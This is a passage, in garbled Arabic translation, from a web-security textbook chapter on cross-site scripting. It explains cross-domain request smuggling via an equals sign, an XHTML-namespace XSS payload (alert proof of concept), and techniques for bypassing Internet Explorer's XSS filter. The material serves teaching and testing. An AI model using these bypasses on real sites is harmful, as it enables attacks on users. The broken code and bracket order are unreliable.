ﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺃﻥ ﺑﻌﺾ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﻻ ﺗﺤﺘﺮﻡ ﻫﺬﻩ ﺍﻟﻤﻮﺍﺻﻔﺎﺕ ،ﺇﻻ ﺃﻧﻬﺎ ﺗﺤﺘﺮﻣﻬﺎ ﺑﺸﻜﻞ
ﺻﺤﻴﺢﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻟﺤﺎﻟﻴﺔ ﻣﻦ Internet Explorerﻭ Firefoxﻭ.Opera
ﻳﻌﻨﻲﺍﻟﺴﻠﻮﻙ ﺍﻟﻤﻮﺻﻮﻑ ﺃﻧﻪ ﻳﻤﻜﻨﻚ ﺇﺭﺳﺎﻝ ﺑﻴﺎﻧﺎﺕ ﻋﺸﻮﺍﺉﻴﺔ ﻓﻲ ﻧﺺ ﺍﻟﺮﺳﺎﻟﺔ ،ﺷﺮﻳﻄﺔ ﻭﺟﻮﺩ
ﻋﻼﻣﺔﻳﺴﺎﻭﻱ ﻭﺍﺣﺪﺓ ﻋﻠﻰ ﺍﻷﻗﻞ ﻓﻲ ﺃﻱ ﻣﻜﺎﻥ ﺩﺍﺧﻞ ﺍﻟﺒﻴﺎﻧﺎﺕ .ﻟﻠﻘﻴﺎﻡ ﺑﺬﻟﻚ ،ﻗﺴﻢّ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺇﻟﻰ
ﺟﺰﺃﻳﻦ،ﻗﺒﻞ ﻋﻼﻣﺔ ﺍﻟﺘﺴﺎﻭﻱ ﻭﺑﻌﺪﻫﺎ .ﺿﻊ ﺍﻟﺠﺰء ﺍﻷﻭﻝ ﻓﻲ ﺍﺳﻢ ﺍﻟﻤﻌﻠﻤﺔ ،ﻭﺍﻟﺠﺰء ﺍﻟﺜﺎﻧﻲ ﻓﻲ ﻗﻴﻤﺔ
ﺍﻟﻤﻌﻠﻤﺔ.ﻋﻨﺪﻣﺎ ﻳﻨُﺸﺊ ﺍﻟﻤﺘﺼﻔﺢ ﺍﻟﻄﻠﺐ ،ﻳﺮُﺳﻞ ﺍﻟﺠﺰﺃﻳﻦ ﻣﻔﺼﻮﻟﻴﻦ ﺑﻌﻼﻣﺔ ﻳﺴﺎﻭﻱ ،ﻭﺑﺎﻟﺘﺎﻟﻲ
ﻳﻨُﺸﺊﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﻄﻠﻮﺑﺔ ﺑﺪﻗﺔ.
ﻧﻈﺮﺍًﻷﻥ XMLﻳﺤﺘﻮﻱ ﺩﺍﺉﻤﺎً ﻋﻠﻰ ﻋﻼﻣﺔ ﻳﺴﺎﻭﻱ ﻭﺍﺣﺪﺓ ﻋﻠﻰ ﺍﻷﻗﻞ ،ﻓﻲﺇﺻﺪﺍﺭﺳﻤﺔ ﻋﻼﻣﺔ XML
ﺍﻻﻓﺘﺘﺎﺣﻴﺔ،ﻳﻤﻜﻨﻨﺎ ﺍﺳﺘﺨﺪﺍﻡ ﻫﺬﻩ ﺍﻟﺘﻘﻨﻴﺔ ﻹﺭﺳﺎﻝ ﺑﻴﺎﻧﺎﺕ XMLﻋﺸﻮﺍﺉﻴﺔ ﻋﺒﺮ ﺍﻟﻨﻄﺎﻗﺎﺕ ﻓﻲ ﻧﺺ
ﺍﻟﺮﺳﺎﻟﺔ.ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﺇﺫﺍ ﻛﺎﻧﺖ ﺑﻴﺎﻧﺎﺕ XMLﺍﻟﻤﻄﻠﻮﺑﺔ ﻛﻤﺎ ﻳﻠﻲ:
<>?xml version=”1.0”?<>data<>param<foo>/param<>/data
ﻧﺼﻴﺤﺔﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﻫﺬﻩ ﺍﻟﺘﻘﻨﻴﺔ ﻹﺭﺳﺎﻝ ﻃﻠﺒﺎﺕ ﻋﺒﺮ ﺍﻟﻨﻄﺎﻗﺎﺕ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺃﻱ ﻧﻮﻉ ﻣﻦ
ﺍﻟﻤﺤﺘﻮﻯﺗﻘﺮﻳﺒﺎً ،ﻣﺜﻞ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﺮُﻣﺰَّﺓ ﺑﺘﻨﺴﻴﻖ JSONﻭﺍﻟﻜﺎﺉﻨﺎﺕ ﺍﻟﺜﻨﺎﺉﻴﺔ ﺍﻟﻤﺴُﻠﺴﻠﺔ ،ﺷﺮﻳﻄﺔ
ﺃﻥﺗﺘﻤﻜﻦ ﻣﻦ ﺗﻀﻤﻴﻦ ﻋﻼﻣﺔ ﺍﻟﺘﺴﺎﻭﻱ ﻓﻲ ﻣﻜﺎﻥ ﻣﺎ ﺩﺍﺧﻞ ﺍﻟﻄﻠﺐ .ﻋﺎﺩﺓ ًﻣﺎ ﻳﻜﻮﻥ ﺫﻟﻚ ﻣﻤﻜﻨﺎً
ﺑﺘﻌﺪﻳﻞﺣﻘﻞ ﻧﺼﻲ ﺣﺮ ﺩﺍﺧﻞ ﺍﻟﻄﻠﺐ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﻋﻼﻣﺔ ﺍﻟﺘﺴﺎﻭﻱ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻓﻲ ﺑﻴﺎﻧﺎﺕ
JSONﺍﻟﺘﺎﻟﻴﺔ ،ﻳﺴُﺘﺨﺪﻡ ﺣﻘﻞ ﺍﻟﺘﻌﻠﻴﻖ ﻹﺿﺎﻓﺔ ﻋﻼﻣﺔ ﺍﻟﺘﺴﺎﻭﻱ ﺍﻟﻤﻄﻠﻮﺑﺔ:
} "ﺍﻻﺳﻢ"" :ﺟﻮﻥ"" ،ﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ"" ،" gomad@diet.com " :ﺍﻟﺘﻌﻠﻴﻖ"{ "=" :
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 478
ﺍﻟﺘﺤﺬﻳﺮﺍﻟﻤﻬﻢ ﺍﻟﻮﺣﻴﺪ ﻻﺳﺘﺨﺪﺍﻡ ﻫﺬﻩ ﺍﻟﺘﻘﻨﻴﺔ ﻫﻮ ﺃﻥ ﺍﻟﻄﻠﺐ ﺍﻟﻨﺎﺗﺞ ﺳﻴﺤﺘﻮﻱ ﻋﻠﻰ ﺍﻟﻌﻨﻮﺍﻥ ﺍﻟﺘﺎﻟﻲ:
ﻧﻮﻉﺍﻟﻤﺤﺘﻮﻯ :ﻧﺺ/ﻋﺎﺩﻱ
ﻧﺼﻴﺤﺔﺇﺫﺍ ﺣﺪﺩﺕ ﺳﻠﻮﻛﺎً ﻳﺸﺒﻪ ﺳﻠﻮﻙ XSSﻓﻲ ﻃﻠﺐ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﻣﺤﺘﻮﻯ ﻏﻴﺮ ﻗﻴﺎﺳﻲ ،ﻓﺈﻥ
ﺃﻭﻝﺷﻲء ﻳﺠﺐ ﻋﻠﻴﻚ ﻓﻌﻠﻪ ﻫﻮ ﺍﻟﺘﺤﻘﻖ ﺑﺴﺮﻋﺔ ﻣﻤﺎ ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺴﻠﻮﻙ ﻻ ﻳﺰﺍﻝ ﻣﻮﺟﻮﺩﺍً ﻋﻨﺪ ﺗﻐﻴﻴﺮ
ﻧﻮﻉﺍﻟﻤﺤﺘﻮﻯﺭﺃﺱ ﺍﻟﺼﻔﺤﺔ ﺇﻟﻰﻧﺺ/ﻋﺎﺩﻱ.ﺇﺫﺍ ﻟﻢ ﻳﺤﺪﺙ ﺫﻟﻚ ،ﻓﻘﺪ ﻻ ﻳﻜﻮﻥ ﻣﻦ ﺍﻟﻤﻔﻴﺪ ﺑﺬﻝ ﺃﻱ
ﺟﻬﺪﺇﺿﺎﻓﻲ ﻓﻲ ﻣﺤﺎﻭﻟﺔ ﺗﻄﻮﻳﺮ ﺍﺳﺘﻐﻼﻝ XSSﻓﻌﺎﻝ.
ﻭﻣﻊﺫﻟﻚ ،ﻋﺎﺩﺓ ﻣﺎ ﺗﺘﻀﻤﻦ ﺍﻻﺳﺘﺠﺎﺑﺔﻧﻮﻉ ﺍﻟﻤﺤﺘﻮﻯﺭﺃﺱ ﻳﺼﻒ ﺑﺪﻗﺔ ﻧﻮﻉ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺘﻲ ﻳﻌُﻴﺪﻫﺎ
ﺍﻟﺘﻄﺒﻴﻖ.ﻋﻼﻭﺓ ﻋﻠﻰ ﺫﻟﻚ ،ﻋﺎﺩﺓ ًﻣﺎ ﻳﻌُﻜﺲ ﻣﺪُﺧﻠﻚ ﻓﻲ ﻣﻨﺘﺼﻒ ﺍﻻﺳﺘﺠﺎﺑﺔ ،ﻭﺳﻴﺤﺘﻮﻱ ﺍﻟﺠﺰء
ﺍﻷﻛﺒﺮﻣﻦ ﺍﻻﺳﺘﺠﺎﺑﺔ ﻗﺒﻞ ﻫﺬﻩ ﺍﻟﻨﻘﻄﺔ ﻭﺑﻌﺪﻫﺎ ﻋﻠﻰ ﺑﻴﺎﻧﺎﺕ ﺗﺘﻮﺍﻓﻖ ﻣﻊ ﺍﻟﻤﻮﺍﺻﻔﺎﺕ ﺫﺍﺕ ﺍﻟﺼﻠﺔ
ﺑﻨﻮﻉﺍﻟﻤﺤﺘﻮﻯ ﺍﻟﻤﺬﻛﻮﺭ .ﺗﺘﺒﻊ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺍﻟﻤﺨﺘﻠﻔﺔ ﺃﺳﺎﻟﻴﺐ ﻣﺨﺘﻠﻔﺔ ﻟﺘﺤﻠﻴﻞ ﺍﻟﻤﺤﺘﻮﻯ .ﺑﻌﻀﻬﺎ
ﻳﻌﺘﻤﺪﺑﺒﺴﺎﻃﺔ ﻋﻠﻰﻧﻮﻉ ﺍﻟﻤﺤﺘﻮﻯﻳﻘﻮﻡ ﺁﺧﺮﻭﻥ ﺑﻔﺤﺺ ﺍﻟﻤﺤﺘﻮﻯ ﻧﻔﺴﻪ ،ﻭﻫﻢ ﻋﻠﻰ ﺍﺳﺘﻌﺪﺍﺩ ﻟﺘﺠﺎﻭﺯ
ﺍﻟﻨﻮﻉﺍﻟﻤﺬﻛﻮﺭ ﺇﺫﺍ ﺑﺪﺍ ﻣﺨﺘﻠﻔﺎً .ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ،ﻣﻊ ﺫﻟﻚ ،ﻓﺈﻥ ﺃﻳﺎً ﻣﻦ ﺍﻟﻨﻬﺠﻴﻦ ﻳﺠﻌﻞ ﻣﻦ ﻏﻴﺮ ﺍﻟﻤﺮﺟﺢ
ﺃﻥﻳﻌﺎﻟﺞ ﺍﻟﻤﺘﺼﻔﺢ ﺍﻻﺳﺘﺠﺎﺑﺔ ﺑﺘﻨﺴﻴﻖ .HTML
ﺇﺫﺍﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺇﻧﺸﺎء ﺍﺳﺘﺠﺎﺑﺔ ﻧﺎﺟﺤﺔ ﻓﻲ ﺗﻨﻔﻴﺬ ﻧﺺ ﺑﺮﻣﺠﻲ ،ﻓﻌﺎﺩﺓ ًﻣﺎ ﻳﺘﻄﻠﺐ ﺫﻟﻚ
ﺍﺳﺘﻐﻼﻝﺑﻌﺾ ﺍﻟﺴﻤﺎﺕ ﺍﻟﻨﺤﻮﻳﺔ ﺍﻟﺨﺎﺻﺔ ﺑﻨﻮﻉ ﺍﻟﻤﺤﺘﻮﻯ ﺍﻟﻤﺤُﻘﻦ .ﻟﺤﺴﻦ ﺍﻟﺤﻆ ،ﻓﻲ ﺣﺎﻟﺔ ،XML
ﻳﻤﻜﻦﺗﺤﻘﻴﻖ ﺫﻟﻚ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺗﺮﻣﻴﺰ XMLﻟﺘﺤﺪﻳﺪ ﻣﺴﺎﺣﺔ ﺍﺳﻢ ﺟﺪﻳﺪﺓ ﻣﺮُﺗﺒﻄﺔ ﺑـ ،XHTMLﻣﻤﺎ
ﻳﻤُﻜﻦّﺍﻟﻤﺘﺼﻔﺢ ﻣﻦ ﺗﺤﻠﻴﻞ ﺍﺳﺘﺨﺪﺍﻣﺎﺕ ﺗﻠﻚ ﺍﻟﻤﺴﺎﺣﺔ ﻋﻠﻰ ﺃﻧﻬﺎ .HTMLﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻋﻨﺪ
ﻣﻌﺎﻟﺠﺔ Firefoxﻟﻼﺳﺘﺠﺎﺑﺔ ﺍﻟﺘﺎﻟﻴﺔ ،ﻳﺘﻢ ﺗﻨﻔﻴﺬ ﺍﻟﻨﺺ ﺍﻟﺒﺮﻣﺠﻲ ﺍﻟﻤﺤُﻘﻦ:
ﻣﻮﺍﻓﻖHTTP/1.1 200
ﻧﻮﻉﺍﻟﻤﺤﺘﻮﻯ :ﻧﺺxml/
479 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﻃﻮﻝﺍﻟﻤﺤﺘﻮﻯ1098 :
>ﺇﻛﺲ ﺇﻡ ﺇﻝ<
>ﺍﻟﺒﻴﺎﻧﺎﺕ<
...
</1999/xhtml'< >a:body onload='alert)1('/<>/a
>a xmlns:a='http://www.w3.org
...
<>/data
<>/xml
ﻛﻤﺎﺫﻛﺮﻧﺎ ﺳﺎﺑﻘﺎً ،ﺗﻨﺠﺢ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺓ ﻋﻨﺪﻣﺎ ﻳﺘﻢ ﺍﺳﺘﻬﻼﻙ ﺍﻻﺳﺘﺠﺎﺑﺔ ﻣﺒﺎﺷﺮﺓ ًﺑﻮﺍﺳﻄﺔ ﺍﻟﻤﺘﺼﻔﺢ،
ﻭﻟﻴﺲﺑﻮﺍﺳﻄﺔ ﻣﻜﻮﻥ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻷﺻﻠﻲ ﺍﻟﺬﻱ ﻳﻘﻮﻡ ﻋﺎﺩﺓ ًﺑﻤﻌﺎﻟﺠﺔ ﺍﻻﺳﺘﺠﺎﺑﺔ.
ﻣﻬﺎﺟﻤﺔﻣﺮﺷﺤﺎﺕ XSSﻟﻠﻤﺘﺼﻔﺢ
ﺇﺣﺪﻯﺍﻟﻌﻘﺒﺎﺕ ﺍﻟﺘﻲ ﺗﺤﻮﻝ ﺩﻭﻥ ﺍﻻﺳﺘﻐﻼﻝ ﺍﻟﻌﻤﻠﻲ ﻷﻱ ﺛﻐﺮﺓ XSSﻣﻨﻌﻜﺴﺔ ﺗﻘﺮﻳﺒﺎً ﺗﻜﻤﻦ ﻓﻲ
ﻣﻴﺰﺍﺕﺍﻟﻤﺘﺼﻔﺢ ﺍﻟﻤﺘﻨﻮﻋﺔ ﺍﻟﺘﻲ ﺗﺴﻌﻰ ﻟﺤﻤﺎﻳﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻣﻦ ﻫﺬﻩ ﺍﻟﻬﺠﻤﺎﺕ ﺗﺤﺪﻳﺪﺍً .ﺗﺘﻀﻤﻦ
ﺍﻹﺻﺪﺍﺭﺍﺕﺍﻟﺤﺎﻟﻴﺔ ﻣﻦ ﻣﺘﺼﻔﺢ ﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ ﻣﺮُﺷﺢِّ XSSﺍﻓﺘﺮﺍﺿﻴﺎً ،ﻭﺗﺘﻮﻓﺮ ﻣﻴﺰﺍﺕ ﻣﺸﺎﺑﻬﺔ
ﻛﺈﺿﺎﻓﺎﺕﻟﻠﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺍﻷﺧﺮﻯ .ﺗﻌﻤﻞ ﺟﻤﻴﻊ ﻫﺬﻩ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺑﻄﺮﻳﻘﺔ ﻣﺘﺸﺎﺑﻬﺔ :ﻓﻬﻲ
ﺗﺮﺍﻗﺐﺍﻟﻄﻠﺒﺎﺕ ﻭﺍﻻﺳﺘﺠﺎﺑﺎﺕ ﺑﺸﻜﻞ ﺳﻠﺒﻲ ،ﻭﺗﺴﺘﺨﺪﻡ ﻗﻮﺍﻋﺪ ﻣﺨﺘﻠﻔﺔ ﻟﺘﺤﺪﻳﺪ ﻫﺠﻤﺎﺕ XSS
ﺍﻟﻤﺤﺘﻤﻠﺔﻗﻴﺪ ﺍﻟﺘﻨﻔﻴﺬ ،ﻭﻋﻨﺪ ﺗﺤﺪﻳﺪ ﻫﺠﻮﻡ ﻣﺤﺘﻤﻞ ،ﺗﻌُﺪﻝّ ﺃﺟﺰﺍء ﻣﻦ ﺍﻻﺳﺘﺠﺎﺑﺔ ﻟﺘﺤﻴﻴﺪﻩ.
ﻛﻤﺎﺫﻛﺮﻧﺎ ﺳﺎﺑﻘﺎً ،ﺗﻌُﺘﺒﺮ ﺷﺮﻭﻁ XSSﺛﻐﺮﺍﺕ ﺃﻣﻨﻴﺔ ﺇﺫﺍ ﺃﻣﻜﻦ ﺍﺳﺘﻐﻼﻟﻬﺎ ﻋﺒﺮ ﺃﻱ ﻣﺘﺼﻔﺢ ﻭﺍﺳﻊ
ﺍﻻﺳﺘﺨﺪﺍﻡ،ﻭﻭﺟﻮﺩ ﻣﺮﺷﺤﺎﺕ XSSﻓﻲ ﺑﻌﺾ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﻻ ﻳﻌﻨﻲ ﺑﺎﻟﻀﺮﻭﺭﺓ ﺿﺮﻭﺭﺓ ﺇﺻﻼﺣﻬﺎ .ﻣﻊ
ﺫﻟﻚ،ﻓﻲ ﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ ﺍﻟﻌﻤﻠﻴﺔ ،ﻗﺪ ﻳﺤﺘﺎﺝ ﺍﻟﻤﻬﺎﺟﻢ ﺗﺤﺪﻳﺪﺍً ﺇﻟﻰ ﺍﺳﺘﻐﻼﻝ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﻋﺒﺮ ﻣﺘﺼﻔﺢ
ﻳﻄُﺒﻖّﻣﺮﺷﺢ .XSSﻋﻼﻭﺓ ﻋﻠﻰ ﺫﻟﻚ ،ﻓﺈﻥ ﻃﺮﻕ ﺍﻟﺘﺤﺎﻳﻞ ﻋﻠﻰ ﻣﺮﺷﺤﺎﺕ XSSﻣﺜﻴﺮﺓ ﻟﻼﻫﺘﻤﺎﻡ ﺑﺤﺪ
ﺫﺍﺗﻬﺎ.ﻓﻲ ﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ ،ﻳﻤﻜﻦ ﺍﻻﺳﺘﻔﺎﺩﺓ ﻣﻨﻬﺎ ﻟﺘﺴﻬﻴﻞ ﺷﻦ ﻫﺠﻤﺎﺕ ﺃﺧﺮﻯ ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﺴﺘﺤﻴﻞ
ﺗﻨﻔﻴﺬﻫﺎﻟﻮﻻ ﺫﻟﻚ.
ﻳﺘﻨﺎﻭﻝﻫﺬﺍ ﺍﻟﻘﺴﻢ ﻣﺮﺷﺢ XSSﻓﻲ ﻣﺘﺼﻔﺢ .Internet Explorerﻳﻌُﺪ ّﺣﺎﻟﻴﺎً ﺍﻟﻤﺮﺷﺢ ﺍﻷﻛﺜﺮ
ﻧﻀﺠﺎًﻭﺍﻧﺘﺸﺎﺭﺍً.
ﺍﻟﻌﻤﻠﻴﺔﺍﻷﺳﺎﺳﻴﺔ ﻟﻤﺮﺷﺢ IE XSSﻫﻲ ﻛﻤﺎ ﻳﻠﻲ:
ﻓﻲﺍﻟﻄﻠﺒﺎﺕ ﻋﺒﺮ ﺍﻟﻨﻄﺎﻗﺎﺕ ،ﺗﻔُﺤﺺ ﻛﻞ ﻗﻴﻤﺔ ﻣﻌﻠﻤﺔ ﻟﺘﺤﺪﻳﺪ ﻣﺤﺎﻭﻻﺕ ﺣﻘﻦ ﺟﺎﻓﺎ -
ﺳﻜﺮﻳﺒﺖﺍﻟﻤﺤﺘﻤﻠﺔ .ﻳﺘﻢ ﺫﻟﻚ ﺑﻤﻘﺎﺭﻧﺔ ﺍﻟﻘﻴﻤﺔ ﺑﻘﺎﺉﻤﺔ ﺳﻮﺩﺍء ﻗﺎﺉﻤﺔ ﻋﻠﻰ ﺍﻟﺘﻌﺎﺑﻴﺮ ﺍﻟﻌﺎﺩﻳﺔ
ﻟﺴﻼﺳﻞﺍﻟﻬﺠﻤﺎﺕ ﺍﻟﺸﺎﺉﻌﺔ.
ﺇﺫﺍﺗﻢ ﺍﻟﻌﺜﻮﺭ ﻋﻠﻰ ﻗﻴﻤﺔ ﻣﻌﻠﻤﺔ ﺿﺎﺭﺓ ﻣﺤﺘﻤﻠﺔ ،ﻳﺘﻢ ﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺍﻻﺳﺘﺠﺎﺑﺔ ﻟﻤﻌﺮﻓﺔ ﻣﺎ ﺇﺫﺍ -
ﺃﻭﻝﻣﺎ ﻳﻘُﺎﻝ ﻋﻦ ﻣﺮُﺷﺢِّ XSSﻓﻲ ﻣﺘﺼﻔﺢ ﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ ﻫﻮ ﻓﻌﺎﻟﻴﺘﻪ ﺍﻟﻌﺎﻟﻴﺔ ﻋﻤﻮﻣﺎً ﻓﻲ ﻣﻨﻊ
ﺍﻻﺳﺘﻐﻼﻝﺍﻟﻤﻌُﺘﺎﺩ ﻷﺧﻄﺎء ،XSSﻣﻤﺎ ﻳﺮﻓﻊ ﻣﺴﺘﻮﻯ ﺍﻟﺤﻤﺎﻳﺔ ﺑﺸﻜﻞ ﻛﺒﻴﺮ ﻷﻱ ﻣﻬُﺎﺟﻢ ﻳﺤُﺎﻭﻝ ﺗﻨﻔﻴﺬ
ﻫﺬﻩﺍﻟﻬﺠﻤﺎﺕ .ﻣﻊ ﺫﻟﻚ ،ﻳﻤُﻜﻦ ﺗﺠﺎﻭﺯ ﺍﻟﻤﺮُﺷﺢِّ ﺑﻄﺮﻕ ﻣﻬﻤﺔ .ﻛﻤﺎ ﻳﻤُﻜﻨﻚ ﺍﺳﺘﻐﻼﻝ ﺁﻟﻴﺔ ﻋﻤﻠﻪ
ﻟﺘﻨﻔﻴﺬﻫﺠﻤﺎﺕ ﻛﺎﻧﺖ ﺳﺘﻜﻮﻥ ﻣﺴُﺘﺤﻴﻠﺔ ﻟﻮﻻ ﺫﻟﻚ.
ﺃﻭﻻً،ﻫﻨﺎﻙ ﺑﻌﺾ ﺍﻟﻄﺮﻕ ﻟﺘﺠﺎﻭﺯ ﺍﻟﻔﻠﺘﺮ ﻭﺍﻟﺘﻲ ﺗﻨﺸﺄ ﻣﻦ ﺍﻟﻤﻴﺰﺍﺕ ﺍﻷﺳﺎﺳﻴﺔ ﻟﺘﺼﻤﻴﻤﻪ:
ﺗﺆُﺧﺬﻗﻴﻢ ﺍﻟﻤﻌﻠﻤﺎﺕ ﻓﻘﻂ ﻓﻲ ﺍﻻﻋﺘﺒﺎﺭ ،ﻭﻟﻴﺲ ﺃﺳﻤﺎء ﺍﻟﻤﻌﻠﻤﺎﺕ .ﺑﻌﺾ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ -
ﻣﻌﺮﺿﺔﻟﻬﺠﻤﺎﺕ ﺑﺴﻴﻄﺔ ﻋﺒﺮ ﺃﺳﻤﺎء ﺍﻟﻤﻌﻠﻤﺎﺕ ،ﻣﺜﻞ ﺗﻜﺮﺍﺭ ﻋﻨﻮﺍﻥ URLﺍﻟﻤﻄﻠﻮﺏ ﺃﻭ
ﺳﻠﺴﻠﺔﺍﻻﺳﺘﻌﻼﻡ ﺑﺎﻟﻜﺎﻣﻞ ﻓﻲ ﺍﻻﺳﺘﺠﺎﺑﺔ .ﻻ ﻳﻤﻨﻊ ﺍﻟﻔﻠﺘﺮ ﻫﺬﻩ ﺍﻟﻬﺠﻤﺎﺕ.
ﻧﻈﺮﺍًﻷﻥ ﻛﻞ ﻗﻴﻤﺔ ﻣﻌﻠﻤﺔ ﺗﺪُﺭﺱ ﻋﻠﻰ ﺣﺪﺓ ،ﻓﺈﺫﺍ ﺍﻧﻌﻜﺴﺖ ﺃﻛﺜﺮ ﻣﻦ ﻣﻌﻠﻤﺔ ﻓﻲ ﺍﻻﺳﺘﺠﺎﺑﺔ -
ﻧﻔﺴﻬﺎ،ﻓﻘﺪ ﻳﻜﻮﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺗﻮﺯﻳﻊ ﺍﻟﻬﺠﻮﻡ ﺑﻴﻦ ﺍﻟﻤﻌﻠﻤﺘﻴﻦ ،ﻭﻫﻮ ﻣﺎ ﻭﺻُﻒ ﻛﺘﻘﻨﻴﺔ ﻟﺘﺠﺎﻭﺯ
ﺣﺪﻭﺩﺍﻟﻄﻮﻝ .ﺇﺫﺍ ﺃﻣﻜﻦ ﺗﻘﺴﻴﻢ ﺣﻤﻮﻟﺔ XSSﺇﻟﻰ ﺃﺟﺰﺍء ،ﻻ ﻳﺘﻮﺍﻓﻖ ﺃﻱ ﻣﻨﻬﺎ ﺑﺸﻜﻞ ﻓﺮﺩﻱ ﻣﻊ
ﺍﻟﻘﺎﺉﻤﺔﺍﻟﺴﻮﺩﺍء ﻟﻠﺘﻌﺒﻴﺮﺍﺕ ﺍﻟﻤﺤﻈﻮﺭﺓ ،ﻓﻠﻦ ﻳﺤﻈﺮ ﺍﻟﻔﻠﺘﺮ ﺍﻟﻬﺠﻮﻡ.
ﻳﺘﻢﺗﻀﻤﻴﻦ ﺍﻟﻄﻠﺒﺎﺕ ﻋﺒﺮ ﺍﻟﻨﻄﺎﻗﺎﺕ ﻓﻘﻂ ،ﻷﺳﺒﺎﺏ ﺗﺘﻌﻠﻖ ﺑﺎﻷﺩﺍء .ﻭﺑﺎﻟﺘﺎﻟﻲ ،ﺇﺫﺍ ﺗﻤﻜﻦ -
ﻣﻬﺎﺟﻢﻣﻦ ﺣﺚ ّﺍﻟﻤﺴﺘﺨﺪﻡ ﻋﻠﻰ ﺗﻘﺪﻳﻢ ﻃﻠﺐ "ﺩﺍﺧﻠﻲ" ﻟﻠﺤﺼﻮﻝ ﻋﻠﻰ ﻋﻨﻮﺍﻥ ،URL XSS
ﻓﻠﻦﻳﺘﻢ ﺣﻈﺮ ﺍﻟﻬﺠﻮﻡ .ﻳﻤﻜﻦ ﺗﺤﻘﻴﻖ ﺫﻟﻚ ﻋﺎﺩﺓ ًﺇﺫﺍ ﺍﺣﺘﻮﻯ ﺍﻟﺘﻄﺒﻴﻖ ﻋﻠﻰ ﺃﻱ ﺳﻠﻮﻙ ﻳﺴﻤﺢ
ﻟﻠﻤﻬﺎﺟﻢﺑﺤﻘﻦ ﺭﻭﺍﺑﻂ ﻋﺸﻮﺍﺉﻴﺔ ﻓﻲ ﺻﻔﺤﺔ ﻳﺘﺼﻔﺤﻬﺎ ﻣﺴﺘﺨﺪﻡ ﺁﺧﺮ )ﺣﺘﻰ ﻟﻮ ﻛﺎﻥ ﻫﺬﺍ ﺑﺤﺪ
ﺫﺍﺗﻪﻫﺠﻮﻣﺎً ﻣﻨﻌﻜﺴﺎً؛ ﺣﻴﺚ ﻳﺴﻌﻰ ﻣﺮُﺷﺢِّ XSSﺇﻟﻰ ﺣﻈﺮ ﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﻨﺼﻴﺔ ﺍﻟﻤﺤﻘﻮﻧﺔ ﻓﻘﻂ،
ﻭﻟﻴﺲﺍﻟﺮﻭﺍﺑﻂ ﺍﻟﻤﺤﻘﻮﻧﺔ( .ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ،ﻳﺘﻄﻠﺐ ﺍﻟﻬﺠﻮﻡ ﺧﻄﻮﺗﻴﻦ :ﺣﻘﻦ ﺍﻟﺮﺍﺑﻂ ﺍﻟﺨﺒﻴﺚ
ﻓﻲﺻﻔﺤﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ،ﻭﻗﻴﺎﻡ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﺎﻟﻨﻘﺮ ﻋﻠﻰ ﺍﻟﺮﺍﺑﻂ ﻭﺍﺳﺘﻘﺒﺎﻝ ﺣﻤﻮﻟﺔ .XSS
ﺛﺎﻧﻴﺎً،ﺗﺴﻤﺢ ﺑﻌﺾ ﺗﻔﺎﺻﻴﻞ ﺍﻟﺘﻨﻔﻴﺬ ﺍﻟﻤﺘﻌﻠﻘﺔ ﺑﺴﻠﻮﻙ ﺍﻟﻤﺘﺼﻔﺢ ﻭﺍﻟﺨﺎﺩﻡ ﺑﺘﺠﺎﻭﺯ ﻣﺮﺷﺢ XSS
ﻓﻲﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ:
